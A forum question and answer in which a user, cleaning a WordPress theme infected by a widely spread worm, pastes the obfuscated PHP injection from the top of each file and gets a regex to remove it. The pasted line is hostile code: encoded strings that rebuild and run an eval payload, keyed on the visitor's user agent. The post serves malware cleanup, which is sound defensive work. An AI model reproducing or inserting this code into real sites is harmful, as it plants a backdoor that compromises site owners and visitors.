I have a client who had his Wordpress website infected by the famous newsletter plugin/SEO worm.
So I started from a fresh Wordpress install, but his custom theme is only available in the infected version and he has no backup (made by a freelancer unreachable) ...
The infection is just on the first line (I'm sure don't worry :p ) .
It looks like this
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $yaagutonoj = 'Qtpz)#]341]88M4P8]37]278]225]241]334]3672%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"])))) 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explode(chr((172-128)),'6639,47,39,57,8359,37,1364,26,8276,46,633,34,1297,67,3647,46,9998,54,6236,32,730,67,4866,53,8595,47,8086,50,4270,29,8931,45,6153,35,6589,50,3518,55,978,28,9858,23,3432,54,8976,33,4745,64,9640,65,5067,31,7543,24,1390,61,7444,31,9313,36,2878,67,883,38,8703,23,3000,48,3792,59,7023,20,5407,67,4245,25,6872,55,6686,46,8891,40,6768,55,3282,53,1911,29,8491,64,5819,62,4117,63,8762,44,1054,27,1817,52,8726,36,5683,49,8136,42,3371,38,9221,32,7281,51,4840,26,3622,25,1974,33,6847,25,5967,37,3731,61,4535,40,3242,40,7778,52,1518,62,7378,66,4299,68,452,47,8806,25,96,28,667,63,4052,65,9179,42,2420,57,3048,25,7970,70,499,68,1869,42,921,57,8234,42,7686,24,3851,65,830,53,7733,45,1143,26,2551,42,2351,69,8185,49,1741,25,9588,52,2593,52,7475,68,2502,49,3983,69,7637,49,4367,52,1451,67,1270,27,2113,60,6732,36,9060,56,3693,38,7710,23,9705,59,1680,61,6927,35,5098,23,2945,55,2645,62,9116,63,4575,60,5931,36,4477,58,3916,34,2173,59,3109,45,261,25,8322,37,4919,54,9396,21,5546,67,567,66,2232,28,1580,70,4180,30,797,33,8040,46,5351,56,6464,28,124,45,6268,48,8861,30,7332,46,355,36,7567,70,7830,42,321,34,6074,26,5264,62,5474,27,7191,53,5613,46,7900,70,6492,60,9349,47,7084,69,169,53,5881,50,1006,48,2330,21,3154,32,2260,70,5153,66,9253,60,1081,62,4973,26,2067,46,5219,45,286,35,4999,68,6408,56,1650,30,9009,51,3409,23,1766,51,9764,41,5501,45,8396,35,6100,53,4635,58,6004,70,7872,28,4693,52,5121,32,9901,68,9969,29,9417,68,9534,54,3950,33,411,41,10052,54,1234,36,8555,40,4210,35,6823,24,2707,50,3186,56,4809,31,2477,25,0,39,7153,38,8831,30,6358,50,6188,48,2007,60,3573,49,1940,34,5326,25,3073,36,1169,65,7244,37,9805,53,8642,61,222,39,8431,60,6962,61,9881,20,5659,24,9485,49,391,20,2757,67,5752,67,2824,54,4419,58,6316,42,5732,20,3486,32,3335,36,6552,37,7043,41,8178,7'); $nibnkcwalu=substr($yaagutonoj,(49971-39865),(41-34)); if (!function_exists('twwdyxiyuj')) { function twwdyxiyuj($gfkbogqkzl, $xpwveotxbw) { $bepljhengq = NULL; for($oznuhtwycd=0;$oznuhtwycd<(sizeof($gfkbogqkzl)/2);$oznuhtwycd++) { $bepljhengq .= substr($xpwveotxbw, $gfkbogqkzl[($oznuhtwycd*2)],$gfkbogqkzl[($oznuhtwycd*2)+1]); } return $bepljhengq; };} $azydrlsozu="\x20\57\x2a\40\x73\152\x76\152\x63\167\x61\147\x65\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\63\x35\55\x31\71\x38\51\x29\54\x20\143\x68\162\x28\50\x35\71\x36\55\x35\60\x34\51\x29\54\x20\164\x77\167\x64\171\x78\151\x79\165\x6a\50\x24\163\x61\166\x74\150\x64\153\x69\152\x62\54\x24\171\x61\141\x67\165\x74\157\x6e\157\x6a\51\x29\51\x3b\40\x2f\52\x20\145\x63\141\x6f\156\x74\151\x6a\146\x6c\40\x2a\57\x20"; $xpkuyrwixg=substr($yaagutonoj,(30604-20491),(47-35)); $xpkuyrwixg($nibnkcwalu, $azydrlsozu, NULL); $xpkuyrwixg=$azydrlsozu; $xpkuyrwixg=(455-334); $yaagutonoj=$xpkuyrwixg-1; ?>
It always start with <?php if(!isset($GLOBALS[ and ends with -1; ?>.
I tried to mess around with sed and regexes, but i can't get it working, i'm very bad with regular expressions ...
So I thought it would be easier to use the Search and replace function from Sublim Text, but I need help to make a regex that matches this pattern:
Something starting with <?php if(!isset($GLOBALS[ and ending with -1; ?>.
<\?php if\(!isset\(\$GLOBALS\[.*-1; \?>
should be enough for you.